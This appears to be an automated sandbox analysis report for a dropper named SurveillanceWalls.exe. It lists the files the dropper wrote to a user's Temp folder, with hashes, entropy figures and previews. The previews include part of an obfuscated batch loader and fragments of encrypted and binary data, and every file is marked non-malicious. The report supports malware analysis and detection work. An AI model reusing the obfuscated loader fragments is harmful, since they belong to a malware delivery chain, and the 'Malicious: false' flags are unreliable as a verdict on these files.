Preview:	Set Meter=l..NiYfEarn-Evaluations-Default-Theoretical-Monitor-Summary-..umDCharacteristics-Bg-Browser-..oNWhite-Thereby-Sustainable-Forbidden-Surgeons-Policies-..AotYRibbon-Ma-Acids-Ppc-Helen-Kinase-Farming-Costume-..GLkmFp-Complicated-Hazardous-Pre-Connections-Nude-Yr-Leu-..xMWbChrome-Automobile-Promote-Golf-Changed-Proportion-..Set Richardson=L..LLRg-Yellow-Relatively-Passes-True-Deny-Draw-Condos-..WzlNSenate-Squad-England-Positions-Insider-Parameters-Doctors-..QHAgNeural-Loving-Haven-Father-Mortgages-..gtDYResumes-Grass-Rj-Mere-Files-Kissing-Orlando-Skilled-Lovely-..PUJDocumented-Believed-Lender-Specs-..tuSecretariat-Porno-Philadelphia-Msgstr-Needs-Seconds-..mIkGlossary-Trigger-Athens-Symptoms-Pulse-Motorcycle-Fall-Affairs-..NQPHThat-Erotic-Mud-Rhode-Determining-Handmade-Ten-..uFtUThose-Specified-Emotions-Anthony-Wed-Mixing-Albany-..BlSensors-Different-..Set Joy=e..jOeRom-Kills-Summaries-Brunei-Surrounded-Enable-Malpractice-Dr-..hHArea-Lenses-Considering-Polyphonic-Mounting-..QnwVen

C:\Users\user\AppData\Local\Temp\Campbell.cmd (copy)

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with very long lines (515), with CRLF line terminators
Category:	dropped
Size (bytes):	11619
Entropy (8bit):	5.184884477970318
Encrypted:	false
SSDEEP:	192:YumLtVRO6Ny6FVAQjj20mdO7VVafUKi4y7WhBom3byypU+3AFcAEif/kRj13J2po:YLrRO6Nv3jmc7/af1o7g2T+3AFX/kRj5
MD5:	E7567EC4057933FA6E06322B7C08B72A
SHA1:	4E733E77915C7DFB7D25E31738E9D596962D4177
SHA-256:	1896EF25A6223F19F770DA125A4B1BC7C90815CCB682EC7CA780D231A01C28B0
SHA-512:	D8A14E5C8225AD8BDBB45317FD41588C12E9E60F1C9FF819D0D15CBC35801B82E7C7981B7DBC815666354950A7F5362FC00765F8A67C9478BD95DC5A31B12C83
Malicious:	false
Preview:	Set Meter=l..NiYfEarn-Evaluations-Default-Theoretical-Monitor-Summary-..umDCharacteristics-Bg-Browser-..oNWhite-Thereby-Sustainable-Forbidden-Surgeons-Policies-..AotYRibbon-Ma-Acids-Ppc-Helen-Kinase-Farming-Costume-..GLkmFp-Complicated-Hazardous-Pre-Connections-Nude-Yr-Leu-..xMWbChrome-Automobile-Promote-Golf-Changed-Proportion-..Set Richardson=L..LLRg-Yellow-Relatively-Passes-True-Deny-Draw-Condos-..WzlNSenate-Squad-England-Positions-Insider-Parameters-Doctors-..QHAgNeural-Loving-Haven-Father-Mortgages-..gtDYResumes-Grass-Rj-Mere-Files-Kissing-Orlando-Skilled-Lovely-..PUJDocumented-Believed-Lender-Specs-..tuSecretariat-Porno-Philadelphia-Msgstr-Needs-Seconds-..mIkGlossary-Trigger-Athens-Symptoms-Pulse-Motorcycle-Fall-Affairs-..NQPHThat-Erotic-Mud-Rhode-Determining-Handmade-Ten-..uFtUThose-Specified-Emotions-Anthony-Wed-Mixing-Albany-..BlSensors-Different-..Set Joy=e..jOeRom-Kills-Summaries-Brunei-Surrounded-Enable-Malpractice-Dr-..hHArea-Lenses-Considering-Polyphonic-Mounting-..QnwVen

C:\Users\user\AppData\Local\Temp\Conferencing

Download File

Process:	C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe
File Type:	data
Category:	dropped
Size (bytes):	133120
Entropy (8bit):	6.13525351023848
Encrypted:	false
SSDEEP:	3072:QFfTut/Dde6u640ewy4Za9coRC2jfTq8QLeAg0Fuz08XvBNbjaAtsD:tt/Dd314V14ZgP0JaAOz04phdyD
MD5:	638E7812C5E9C55C5F339CC64D197B28
SHA1:	5EF8A953EF65AB7D0620A5D144F2C410E2A77A2F
SHA-256:	347A3459DD74AEA0A6B2F62955D1BC9BDB091BB66CA8A42274F7EBF310527FD8
SHA-512:	194B0D8799A83210968746C4D3E364EE512669E6080C6B3D215D97C141E8EF7F09152EA524691EFCD2276ACB1DC158FFD484E3F595DDF2CCEB690BD1996C8266
Malicious:	false
Preview:	..<......@..L0..\|0..^t..I8Q.M....3.]...U..V.u....w...Q.E..E.....P...H....S...j...................@..L0..\|0..^t..I8Q.M..+...3.]...U..V.u........Q.E..E.....P...H........j..................@..L0..\|0..^t..I8Q.M.....3.]...U..V.u.......Q.E..E.....P...H.......j.............(......@..L0..\|0..^t..I8Q.M..s...3.]...SVWj....j.......0y*...y..\|7...L7.t..I8..A..\|7...D7.t..@8.@.....+..4.I.......3.B..;.\|.........9.t.B...;.~.3._^[.3.@..U..SVW.......................u7.............V.u...H.I...t!V............E...P....3.@.E...t.3..<.........Y...u..............P.......P............SP.v......_^[]...U..S.].V..W.C........0.9....{........r..C..p.....Y..;~.t..v....".....h..I....O.._^[]...U..VW.}...W........u..G..H....i.......3...........I._......^]...U..VW..j..g...g...&....U...Y.....J..N..B..F..B..F..B..F.....7_^]...V..W.>..t..O..3...j.W.....YYj.V.....YY_..^...U..QS.].........~#.u.........u..u.SP.\..YP..(M.......E.P.E.P.u..v.....taVWj$.y.....Y.O.....u..O...T)M..}.........;.t.P.....E...)M.

C:\Users\user\AppData\Local\Temp\Debug

Download File

Process:	C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe
File Type:	data
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	6.560421732845139
Encrypted:	false
SSDEEP:	3072:NCThpmESv+AqVnBypIbv18mLthfhnueoMmOqDoioO5bLezW8:NCThp6vmVnjphfhnvO5bLezW8
MD5:	D9DAF89D86B32DF3D7DA7EC1CFBF7212
SHA1:	59E1BA3DD32168A3D79A9DA2626C99C52970A53E
SHA-256:	06F48747A4ACB2EE437D03A9E8331CCA5C76EE5684E118F491E4FAF7799ADCC4
SHA-512:	24D26B6112417D75915F08562AF53EB1BB7DDEF2E89E779DB52AE0F674EA8CE102984FA2628CEE5588C7DC34DF00A32497E49EE18F7259C51E4D1C855AB69A6C
Malicious:	false
Preview:	..L$@.pJ.._^3.[..]...U.....E...T....@.SVW.0.....m....F..L$.Q.0....I..]....u:....s...#.3.B.S....H..\|9...D9.t..@8.P..\|9...D9.t..@8.@...$P....I..\|$,3..t$0....r...C......3.{._^3.[..]...U.....E........@.SV..0..W3.......F...$....Q.0....I.............$.....D$D..$.....D$H..$.....D$<..$.....D$@..$.....D$4..$....Q.D$<....I..]..{..v..C..H...U.......tS...t'.D$4.D$L.D$8.D$P.D$4PP....I..D$.P.D$8.L.D$<.D$L.D$@.D$P.D$<PP....I..D$.P.D$@.%.D$D.D$L.D$H.D$P.D$DPP....I..D$.P.D$H.5..I.P..{...D$.........C..H..zT.......t..D$.P.D$PP........t........D$...........tA..D$.P..D$ P..D$"P..D$$P..D$&P..D$&P..D$(P..$....h4{L.P......$.6..D$.P..D$.P..D$ P..D$"P..D$"P..D$$P.D$\|hDzL.P..... .M..D$dP.9........M..;....\$........Qj.V......L$..D$pQhl{L.P.n.......D$d.L$TP..=..P.L$$. ...j.j..D$(PV.5.......L$ .ip...L$T.XG....D$..t{L.P.D$hWP.........D$d.L$TP..<..P.L$$.....j.j..D$(PV.........L$ ..p...L$T..G....D$.P.D$hWP........D$d.L$TP.r<..P.L$$.{...j.j..D$(PV........L$ ..o...L$T.F....D$.P.D$hWP.y.......D$d.L$TP."<.

C:\Users\user\AppData\Local\Temp\Discs

Download File

Process:	C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe
File Type:	data
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	7.997344187879081
Encrypted:	true
SSDEEP:	1536:oirK8ql4kgHb4nGpb4kT8K+AzjGeY7oG7H+L45/orwahlHxU:oieW7IGptgaKo0RoDlHxU
MD5:	00646A2066D51D9790F52BAE3C446C87
SHA1:	EBDA2B25B5A46CC6D9D5494050CC4B3A0BF81984
SHA-256:	57AFAB1CEC987DA27F5E92BAA6DC21D83F8C83EDF734FC590313102E75844C3A
SHA-512:	A74C02ED1B704912A8945E60CACC892F7E832E5CF15C87632B0FD3CBF9DDD8F36B01A5BA87FD7EF87D6BECBB297161BB69DC750B8DAC6F952892D45CD95F46F0
Malicious:	false
Preview:	.TC..x..Z..z....4...a.....\|.u.,'2..9.....jw.....z..F%94[......Mo.K.....a.5+..?.7.a.1..M....\|..)...Vg1..(dv.....!....gC:X..+..]<.... ...$=o\(.E..]Y?Kt...c .0....]....&.:.\|.).1R.1.g'... .I..$.3fb..w..M....r.2...+I.fb.@uc$.R...A..%>E..1\.T.{...~.,.h.R..Z..G.E....?.v7i.~.e.Y.F.w.f.H.5....\|q.....&j....:....R.4..'.f.!..CvT..U..7.W..Tg...p.w.9....k).......si2._.&..j.k....\.g&#..!x-...w./...i"L/!6..+...oZ.C..y.~....M.....!L...B.2.\T....s...3w...b..........%^..3.VM....3.Vg.nj.i f.w{.7.^v.$d..+?F....?.Z7..y.e.T.<..d....l.w....'.....u.....Ck...^p...Rlr.V..?6........3......J0...X.q;....mo..H..` ...`!.>.EBK.T..W.E(.....t...6..K..N.....7w33........=.......&.._.h..T.j.5a...p.....j's.M...+......h....8-!....:.c.\|..`a" .~M5.J.\Z....J..Gmq..w...d..`c..`......-..My5...n.4..l!...BqX.{..{.3..j..DJ7.C.T..^...o...T.....p....Gc..<[.....{7G.%....1.%.l..C....i.H5....4..C....uT.gd....4$^.X.e.E.~hg0f..^....K.U.....(J.+..F.w......C.....J..^....J...D.......[....s

C:\Users\user\AppData\Local\Temp\Dod

Download File

Process:	C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe
File Type:	data
Category:	dropped
Size (bytes):	3386
Entropy (8bit):	7.608467285191016
Encrypted:	false
SSDEEP:	96:wIuzfJFFy4EDzHy5Xz+ppo+zAbQ6YhbBwGKGP5h3g:wISVSWMZMQ3rw
MD5:	682D77B5A6D22691A869AB4BEA11AD53
SHA1:	F56FAB8959A05C77570652F5F8E9E4103489E676
SHA-256:	C269725998F8F5ACDAB6A0067457065CC9059326EE0A38FF353C2939A0190C1B
SHA-512:	C42D04178ED59683FC4597B83496D7B3C61C1A075B4542ABB491C9639531F9737D70AE4172186FD6A3450C26701D794496BD4AE0F5E50DB8A3818CD78ED7FD27
Malicious:	false
Preview:	L...SL.....IUOu..oJ..j....0N..s.^....}K.,..k...Y7..,.E..n.u....[/..=}..0...{\|...Q.....0.QV`.\|.="...$S'...H.',y.<.....>.J.!.b...0....H'\|.uB.k..k...X4...P..{...H.+U..% ..Q..c...lraJ..C..W..<.....1.....@l ..-...m..q.R!.>...9..../z ......-....j..<.....SM.GY\|..CA.%.,.~.....}....`r@P. .CD..... Y.x.j.".0..G0../.........@B@.."..lq.0....H........0L1 0...U....GlobalSign Root CA - R31.0...U....GlobalSign1.0...U....GlobalSign0...190220000000Z..290318100000Z0L1 0...U....GlobalSign Root CA - R61.0...U....GlobalSign1.0...U....GlobalSign0.."0....H.............0...........s.f....{<....E.,..H..[<...A.3..o.....k.......Q.!.J..Z...M:...df....D.s.N..Oxc...PmBf/M.y(MR........~..dL!.Ch.=<..f...1...m2..........cP.......y....p.{..mS.H\|...8.f.wa~..<.....J..m......aw.Xt..#:.]:....]D-...W..~.P.c4.k...k6.9.$6.....W.....s..5.E...6.oT..rVn...QBD....8..NNZ.G..6Iw0.q7..!.u..a.?w.....l..Mt....9...^.........n....af.j..:e.Y..5...(....p....u..:......%....'YLv9[........

C:\Users\user\AppData\Local\Temp\Ejaculation

Download File

Process:	C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe
File Type:	data
Category:	dropped
Size (bytes):	151552
Entropy (8bit):	5.143694165278638
Encrypted:	false
SSDEEP:	1536:TdKaj6iTcPAsAhxjgarB/5el3EYrDWyu0uF:Th6whxjgarB/5elDWy4F
MD5:	2E9E29F8ED97F2DE8EBB1652BDBD545A
SHA1:	5577D360B25DAFFA0AF907FC5D852894B784F81D
SHA-256:	AEB399054CFF321F752D4F93143815FF1A2CC2398668C2E1110065A2C6F502F1
SHA-512:	F4F925DAF3F576441D2B7A0E250A51400B23E714D76870A640734912DA783D83AC113586F121161D96D7F06EB70B8D89EB4E0524D591232B0B2A342063E8BCB6
Malicious:	false
Preview:	............r.......r...............................................r.....................r...........r.r...................r.......r.........r.r.r.r.r.r.r.....r.r.r.r.r.r.r...r.........r.r.....................r.....r.r.r.r.r.r.r.r.r.r.r.r.r.r.......r.................r.......r...................................................................................r.r.................r.......r...........r.r.r.r.r.r.r.r...r.r.r.r.r.r.r.r.........r.r.................................r.r.r...............r.r.....r.....................................r.r.r.................................................r...................r...r.r...............r.r.r...r.r.r.r.............r...r.................r.r.r.r.r.r.....................r.r.......r.r.r.r.r.r.r.r.r.r.r.r.....................................................................................................................r.r.r.r................................. .!.!.!.!.!.!.!.!.!.!. . .r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.

C:\Users\user\AppData\Local\Temp\Execution

Download File

Process:	C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe
File Type:	data
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	6.675787508464099
Encrypted:	false
SSDEEP:	3072:9nVIPPBxT/sZydTmRxlHS3NxrHSBRtNPnj0nE0:9VIPPL/sZ7HS3zcNPj0nE0
MD5:	42FB34DDB94507C5A125BF02C2983904
SHA1:	4E400C020121235E3DE490F5CBB38C4A25E686DC
SHA-256:	D59EFEA25D1E316B8A9248F52081AB14113C97603F3E90D533F4F373F743B3C7
SHA-512:	639D90CD1CD451EBCB9E5E1C165F7EEBB62B30D6BF24C596990CA40E08BCE5D0B5864E7A4F0A83624C7CF9AC4EC5C1E7385F59602B206F3346554D62721CD71D
Malicious:	false
Preview:	..=....u .............................}...$t&..@t!..`t.......r.......v.......s.3........;E...9....E.M.@.E.;...m.................}..E..........]....F\|.E.;...l..........}....}...E.t6.E..%....=....u%......................}.....E.......U.............L.........E.,K.......K..F\|.M.;..........E.}..........t-..%....=....u...G.......%....................U.............L.........E.,K.......K............1L.t....<p.E.}..;...w......E.u..].}........t ;.r.;.....v..Fh..............A...M.A.M.;M........M.U..E.......}...G............3A...$...E..}..E........\|.N\|;........V...t..u.F.PQ.............:....,.V....+.;.w f..f;F4u..........f.G.f;F6.............t1.G.;F\|r).~..u#.~..u.f..f;F4u..Fh..............@...N\|....}.;.s.f.......f#.....f;.u.....}..E.@.E.;E...7.........}......;........N\|.E.;...........}.;.s$f...E.....f#E..E.....f;E.E.u.....}.B;.~......F\|..}.+.;...-......M.}......}..E..........s....F\|;...v............}.%......=....u!............%...............}.....w*t....tD.A.......

C:\Users\user\AppData\Local\Temp\Genre

Download File

Process:	C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe
File Type:	data
Category:	dropped
Size (bytes):	90112
Entropy (8bit):	7.997966981425173
Encrypted:	true
SSDEEP:	1536:ju/rDNkncHkrP9rRrANgBdCQYqZ7yhjYP/G9ye4nMRuU/DpFracF+l72Jxj6tU:jANkncHA9NpCQzeencyjFUrpFracC2F
MD5:	5CE4409C4AAA9FD5A27EC4974734F1DF
SHA1:	BF7EE5465EF96EE0186388B5B0685AD727ED9493
SHA-256:	A401B4CD0AFBAEE57D8025BF4FCE12583C825CBC2E3D3F308EB0627CD5BBA412
SHA-512:	1155B1C58221BA1C809D9D60CD440EBD8788DCD3169EE87BDA72FB7061B1E2F849F8BC79AC7053DF5DE8BC7955DB088DF778AF66900D6F303BDE6D61925014E6
Malicious:	false
Preview:	IP......W..%..s..^.C...A../.~..tHs.....6.2..X.{-?n.sI....U.UiP.J...@...t..f....P..o.m.+..-6..).JC..x.D..{5:.-T...:Au.}..+.....<fN..c`RHV.........f..L...@.x...../..,..H$.......T8....$ym.h8...@v9....;W......b.S..<....x".0f.z.~.W.7....J......K...:"..4Aa.G.b.z....%...>. ...q:..k\.]O...BU.......%.(......0v....I.....&<Do..X.{g.o..j#.w..4.6.6."~j....O..s............{.6.).b.I8/....zQph~..{..(.(..L....e..$...R.g"\|.Kll`....'yS.`.Sz9.s..\.D...Y..QNn.?#!..4...Ay.n.....(.F....f2.P...Q.o..s...5...=!.`.w....{j..>s!]\|.]..5.h.T.(.@...B3........x.....BS..3..B.z.tZ.m.H,...x..5.i.Gl..v.@`.0.t@....,0...[.5.T....i...V...x..}.xW..~.....:.....v..cI.)...-..sHC...mK......xE.\.8u./....qU....9.....+..x.MR].F...q..G<RoV.....?w..0...-...O.}....g..>....y...%8..s....WDx0...w...bLx9%.s.P,+a.....kL...q.....D..h....M._.C......Y.M....r\..........z...Fi....op....4..9..H..U[._..n..e.....,.J.3."...u.-....F.SGsM...H45\|.v[.....8..D..)\|.,NwpM.\..)_.tT.\;....)yg.h.

C:\Users\user\AppData\Local\Temp\Marijuana

Download File

Process:	C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe
File Type:	data
Category:	dropped
Size (bytes):	59392
Entropy (8bit):	6.7675117089438706
Encrypted:	false
SSDEEP:	1536:To2+9BGmdATGODv7xvTphAiPChgZ2kOEb:TNoGmROL7F1G7ho2kO6
MD5:	D830821FE60D6CD810FB9EC7102838F3
SHA1:	9264B78903FA373E0A1B697CC056DECC1DFAFB5F
SHA-256:	00A96AC0E8600A9FA0A00EF1F939B58BE93618C4FE4E3BE9D0BFAB0A4A0FF57D
SHA-512:	2A8E2BB9D599964CA112AACBB0FDA37C01466898A7AF5D7C8543013949B0BC6E5665402692A1072845B1A72211D350963C608A81A7C3450C19A56A948CED5D4D
Malicious:	false
Preview:	>x....7..C.....#.G..J....-.".Z{{.Uw..(.J...p.I.6..Q...!.i...<4....N..mP.~.....M...tttX.e...g.....".7..L..H..+... ..G....v.......^....#..d29.....9y... O..a.7.<.....8O..s.......e..q..DDU.o....S...D.......pQ......6.=<...E.........P...".g.z.....91.M.5.B......{...q>;..WE...d.~~.}.....+".GN{.~....xxw..Zk....F...z.X.e...x<.......I3....p`.......=.........h...nH...K5..!.....U.CU....h..x.p?....Z...w..}I.=2@:......-U.C.W.....x.x.V!..>C..T......'..E..."Uu....?.u.Am.fc/.l.1...p.T..Tg.8....:.<{d..t.[....T.g....=..s....y`.<.....%".T..8...v.l.'....A&..V....x+.:2..~G....."r.^...#.......<....MC80...=<HO{.+...@.h.c;8<.vJ...(./....x....y.w..F.......2...;;x.p.7f...oj. O....p...7...H$.=._\.;.._Q.?.Y.oG.grh(.S..H.B^`..=CDHF[x.`.GG:.L3.T....W....B......0.#.......G.t...:.....q...P?..u..tU..a...h../.../--.2....zz...o.X..'o0...l..2........../....d.L....wg.....D.]DF.M8wBK...]i...WO.dln.U.V..;...0.:2...g~U....5....z..T.$"_...0........!..........z.\|...Gv...K7.

C:\Users\user\AppData\Local\Temp\Mj

Download File

Process:	C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe
File Type:	data
Category:	dropped
Size (bytes):	99328
Entropy (8bit):	7.998576390696709
Encrypted:	true
SSDEEP:	1536:cD6KkwPhsASDYs8rp/KWY8Xr1OWgxQFn/LbctRaCiUO7QOZg2hc9nW0iH:c+KVhtSQzY8713n/H+O7rGW0K
MD5:	FF77A17E4CADE79760F0F8B87C857C6C
SHA1:	B05075D65229AF0063E6E85DA14AB940062818DD
SHA-256:	CC8A9523B67F764E447CD5042751E1DE77B04FFC5664E6F5C41D1C3CCE0EC60D
SHA-512:	6DF97DCB14736D2F0CE9762B7246050B488E054375C78F42294119D80CACEDCF53F4B3868B7A4C948DD7B1F9545B4135F5BD5ED69611424129CAE63A372994D0
Malicious:	false
Preview:	K....A.h..j..X.Tr.dxRn-.3.N..+[...#.v5.>.".y....oA.....;.W.T7....B.u3.y.=....c.t...i.....>...Rj@H....,'..l. .\+.^.l.mE.W..).....,]...J..r..m...~...O........."H.>.=P..8...+.L.}.M...[.CLM-V...&\.3..o@..{.DtN.>.........mCE.../..R..\..t.H.OgefD.Y..w.....F........B.-.....\|B......4%.:K..^....\|.. X.l.s..M.Q.\|.......+-..i......s.O...;.Y.<......[.Z..d.R.>.l.b.M.=.[k..k@...m.Z..........XP.C."....1,."...1........l.Iz%.......b.>...$^kr.+.Wk.l.~a.........^..;~....wvN..N......:...p.\..h2Yi....F..Sw1I.mf..7..t.}....."..;..,\...A.JB..S[.T....H..g..&..o;..I.;N..c..P`9.[....c.R{[...1.:..A.O.*.....0...VuY.....y..b...O.a.D...\[..66Og.....h.T..z...ZEoN.VA.DQ.`._.....R.X.c:......b..9X{...eNP.x4.......S..O....%..z'..Q.,...q. ....y..4........h.......B.8..zu.L.0Ja.:.q.Q.I....8I..u..sN\|....z...7.........O..5.._vb]...WD7EF.S.o......"`.......`....q.....r>.......!ar.`.r.F7g9.\|....Oea.hX.S.'0i=......Lfx.L.A0..kMbP.[}.{..Z.oP..\|xs...!..s.@.>....$0.S.1.E......;.7..

C:\Users\user\AppData\Local\Temp\Mysterious

Download File

Process:	C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe
File Type:	data
Category:	dropped
Size (bytes):	91136
Entropy (8bit):	7.998131058926633
Encrypted:	true
SSDEEP:	1536:2Ifwsyt1Vj+tpNuEroTuyisZj6b3nlPw2gIPNBcYxZA+eGth3WQjR7:LIDDctDt/jsZAn1w23NB/dJWKR
MD5:	BEEF30C9A0C6A41985E081CD4FF23049
SHA1:	4E09FFAF608BAF3A98CD94794CB7CC23E41C3086
SHA-256:	FC64F325CDD473ADB5B7C15221F7B2773A064395612EFF9AD1C76FA973A6738A
SHA-512:	EC71CDB716B684B241A2FA2BCA84CBCED9AA86BA0954009DC003EF1F80640C01D49911EC6E031E9F8E8139D30BF5A77D7A79EE38F66B8FD43A6E4F957CB8E1CA
Malicious:	false
Preview:	.I..!.`x...yh.b.g.?._...H....A(i..zL.....dW..\|w:,EP.F+.K0y..d...p.[...=.........w.......6o...Z........KU...l..'...bkMJ....lI.....F..Yd..r1UXQW.i...p..Z.<..E.v.Gl....).C.'.v.F..}B.B...v....e..\....-....;M...}.....N....l..9..4i_u..fYC..e.q...rq._..X........S...0.B.`...L.V.l.`o1!4M"......K.....4.R.....".<q....=.J....#i.Q...6&.....{....NH..}..u(m..+@........{.....xI.}(....xK..M.Tq>:..+<m~......1..rX...tK....3Yl...KX......U.......,.......5...9.....o..7..&..~.s....N4..U..X.Y.N}`e....2.j..9..'eZQ...i......_K...?..W.z..TULSh..l8..<R..x.....U.~c.J.l.xqHo..?...Jl.@.W..k.0QQ[.......q/..ri.5M..e%}.@.. .].....J.=d.%.....1s.l.l..{4-I.u..A.-..nm..>.6.?pG...+6........:.\|....D.S..S.1...5?...--}....k]I..oy..8....~!..+..)..z...0...6p<.#2.....d...q..#.,M,.X.....Vbq.OEE._1l...0.$.c..yYr.%....l.......E....&...v.........6~b.'..E......-........H.V.z...jQ..M..>.H ..\..*.e.vk...e.7......\|....e..'.%...z..n...u...$j&.I...U.H...s[..T.....p.Q/..w..\.Z....e.Fh.T.

C:\Users\user\AppData\Local\Temp\Producing

Download File

Process:	C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe
File Type:	data
Category:	dropped
Size (bytes):	72704
Entropy (8bit):	6.689808554469509
Encrypted:	false
SSDEEP:	1536:xI7P4Cxi8q0vQEcmFdni8yDGVFE5gOHu1CwCMIBZwneAJu7Y:e4CE0Imbi80PtCZEk
MD5:	AA4D881EA35979E4EAB13C982D3D0898
SHA1:	CF301086D6E43E603571762FBC7D754F0246FB74
SHA-256:	31D85BEBE7949C9B7B40AF007FBBE61C8CD6C25F8E4FC7DCFE9B7DCD8A1D79E7
SHA-512:	F64491753F2CF57B72740CA91F10C2BD677219BC89BF86D2476A8567CF83955F986A481C92D19BEF9C466438AF97D071686EA2FC496C5E477C900568F129B5F6
Malicious:	false
Preview:	.......f..L$..T$......T$.....T$...$......D$.....f..T$.f..D$.f.~.f.s. f.~...........t.......d$.U.........$..~<$.........~\|$.f...f.(.f.T..AJ.f....BJ.........U...f./..BJ.snf./..BJ.......f.(.f.Y.f.(.f.Y.f.(-pBJ.f.Y.f.X-`BJ.f.Y.f.X-PBJ.f.Y.f.X-@BJ...Y.f.(.f......X...Y...\.f..\|$..D$..f./..BJ.......f.(.f.Y.f.(.f.Y.f.(-0BJ.f.Y.f.X- BJ.f.Y.f.X-.BJ.f.Y.f.X-.BJ.f.Y.f.X-.AJ.f.Y.f.X-.AJ.f.Y.f.X-.AJ.f.Y.f.X-.AJ...Y.f.(.f......X...Y...\.f..\|$..D$....~.f.W.f./..BJ.sO..~..BJ...~-.BJ...~...X.f.s.,f...f.~..@..~,.p.J...~...\...Y...X..BJ...^.f............~...~..BJ...^.f.....~..`.J...~$.h.J.f.(.f.Y.f.(.f.Y.f.(-pBJ.f.Y.f.X-`BJ.f.Y.f.X-PBJ.f.Y.f.X-@BJ...Y.f.(.f......X...Y...\...\...\.f.V.f..D$..D$..f./..BJ.u..D$..f./..BJ.s....BJ....BJ......$..$....D$.....BJ....BJ..D$....~...~..AJ.f.T.f...z..D$.......BJ....AJ...D$..........U.........$..~.$.......f..D$.f..%.CJ.f....CJ.f.W.f....CJ.....f.s.,f.~....... ..f.............#.-....=............Y........\...Q.f.T.........f...Up.J.f.V.f.($.p.J.......X...\...Y..

C:\Users\user\AppData\Local\Temp\Receiving

Download File

Process:	C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe
File Type:	data
Category:	dropped
Size (bytes):	62464
Entropy (8bit):	7.9971672365789415
Encrypted:	true
SSDEEP:	768:ttBffnhuy/kWZ4KmEvLGxvyj85XqOlWChh7diY+BChE2u0W5zqirJebuswzA:ttBHnhuyXNwvouXqO93diTn2u0NOeizA
MD5:	8D5CF0056A8BE7CA1485969FC23F72A5
SHA1:	5727BC17CD958D06B1E7D52C8D38A761A1AE2BF2
SHA-256:	BD1B00DEA1CDDB3345443A35AE3B71883443722EDBB48016F829AC500F5F505B
SHA-512:	B0F5FB69A565FC9690F307175C606CE9F9484BC309AC00B8A359CB6B77D19A938052EC584919A256FDB7C0B1557E155B414090B771432ACB9419102F794B61EC
Malicious:	false
Preview:	.v..........^...F.y`.QLu..Eu...(.]6S./..B}..M./.5.7.....@:../;.h..S......x.......^...9......=.....;....l.G.A.>E.=..{.[.~..<b%....N..V..~W...ed_..PqM)d%.........Hg...CB...Y...&....ON].....[X......[...H.P.M....+.D...'.....1.Plu.zRg2.!4..^...h....[\....!Y.6u..........E..q.,W.jv..i..I......`.........2.?;(...P7ap..6.e...w...W..tI...3.S.....j....B.B...v.Q..4...R~....y1.9l{^.V.s..@.x.3.N......-w...B..{\:_......,t.O2.L\m2'..J.e...Y..d....^.p.Z...^.K.p3i..:.L.<...1T...#...V.Ey37.h7./......^}.c1..[.N...\..9D...?..b...tz.E`.w........B.=..uB..=.3.....8../.g.i.sv....+...M...9#i.r..e..U.R.1.-K.....\|.;.U.y..N.-~.j.\|F.....Nyn..Qd2..@...d..\....9R..=...K0+..2.....`...&>..\..]; .*.X,....+..........+....!.....e.......l....>.m..P .\..dIO...bB.^.ph'..6.Ll...3...<..D..Q....nv.~...h.jm.....L.}7.s.k].j7..H....0...j#.&.=.H..DY..j.&..dD.......wH.X....=st.H.b.#M;..L.C.I.6..#4a^3.i........Z..{2c..8.w...9O.G../;.a.l.h..n..".%.t.A.}Dc.s.nNa...M...w..p%Al\.$WV.

C:\Users\user\AppData\Local\Temp\Solely

Download File

Process:	C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe
File Type:	data
Category:	dropped
Size (bytes):	107520
Entropy (8bit):	6.2684070117846975
Encrypted:	false
SSDEEP:	3072:pg5PXPeiR6MKkjGWoUlJUPdgQa8Bp/LxyA3laG:a5vPeDkjGgQaE/lx
MD5:	2FADD2BF6F3CDC055416BAA1528652E9
SHA1:	342D96C7CE7B431E76C15C9A7386C2A75E3DC511
SHA-256:	8DF18D17C715E689B9CB222BEB699120B592464460FD407DBB14F59CCEC5FDB3
SHA-512:	08BC19703DAD1441E1DA8FB011C42241A4C90D8355575B7F41D465E3E84D797ECAC7D6BF9AF6163E6F4EF506CD98561F62D06446F861AEBA2D7644BEB7F6ABB8
Malicious:	false
Preview:	....T)M........t.Q......T)M..... ...`)M...T)M.;5d)M.u....\|.....8.u.N...5d)M...X)M.^...v..D...8.t.]...I..X)M.j..4......T)M.YY..X)M..$....X)M....v..T)M...x)M....t)M...T...V..Np......NT....N$....N....h....V.C...YY..^...U..VW.}.........M...tF.E.S..t.;.....uH.^.....Q.........;...a...........h....V......E.YY..t.[j.j..7..X.I._^].....u.........M...t...6..V..j..N..V..F..4......F.YY.N.^.$...SVW..j._..l...............u.Nl.....N(...h....V.U...YY_..^[...U...u...(M......U...t...@)M.......y..u&...)M...u...M.........Qj..u...x.I.].....)M...U...u...(M..H.....@)M.......q.P.....j..u.j..u...x.I.]...U..M....t.W.}.........._]...V..4.I...(M.P..........t...@)M...j.....0.....^...U....SVW.}..E.P..7....I..E.l....E...p....E.PV..x.I..M.E.;.t...u.;.x...uw.s..5..I.......f#.j.f.E.X.s.....E...u.f......f#.j.X...f.M..E.;.\|..........}..t...\|...;.......;....}..t......._^[.....}....t.....x.....s.......U......(M.V.u.WV.......@)M.....8..........;u.........M...E......Q.u.j V..x.I._^....U....

C:\Users\user\AppData\Local\Temp\Sunrise

Download File

Process:	C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe
File Type:	data
Category:	dropped
Size (bytes):	63488
Entropy (8bit):	6.678836431320186
Encrypted:	false
